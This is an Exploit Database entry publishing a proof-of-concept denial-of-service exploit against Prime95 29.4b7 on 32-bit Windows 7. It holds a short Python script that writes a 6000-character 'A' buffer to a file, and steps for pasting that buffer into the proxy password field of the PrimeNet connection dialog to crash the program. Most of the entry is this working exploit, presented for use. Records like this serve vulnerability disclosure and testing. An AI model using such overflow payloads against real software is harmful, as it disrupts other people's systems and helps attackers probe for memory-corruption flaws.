



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

Prime95 29.4b7 - Denial Of Service (PoC)

EDB-ID:

45226

CVE:

N/A

EDB Verified: 

Author:

[GIONATHAN REALE](#)

Type:

[DOS](#)

Exploit:   / 

Platform:

[WINDOWS_X86](#)

Date:

2018-08-20

Vulnerable App: 



 EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPOIT MANUAL SUBMISSIONS ONLINE TRAINING

```
# Exploit Title: Prime95 29.4b7 - Denial Of Service (PoC)
# Author: Gionathan "John" Reale
# Discover Date: 2018-08-20
# Homepage: http://www.mersenne.org
# Software Link: http://www.mersenne.org/ftp_root/gimps/p95v294b7.win32.zip
# Tested Version: 29.4b7
# Tested on OS: Windows 7 32-bit
```

```
# Steps to Reproduce: Run the python exploit script, it will create a new
# file with the name "exploit.txt" just copy the text inside "exploit.txt"
# and start the program.
# In the new window click "Test" > "PrimeNet" > "Connection..".
# Now enter some test information into the fields until you reach the last
# field.
# Paste the content of "exploit.txt" into the last field: "Optional proxy
# password".
# Click "Ok" > "Ok" and you will see a crash.
```

```
#!/usr/bin/python
```

```
buffer = "A" * 6000
```

```
payload = buffer
```

```
try:
```

```
    f=open("exploit.txt","w")
```

```
    print "[+] Creating %s bytes evil payload.." %len(payload)
```

```
    f.write(payload)
```

```
    f.close()
```

```
    print "[+] File created!"
```

```
except:
```

```
    print "File cannot be created"
```

Tags:

Advisory/Source: [Link](#)

Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)[PRIVACY](#)[ABOUT US](#)[FAQ](#)[COOKIES](#)

©

[OffSec Services Limited](#) 2026. All rights reserved.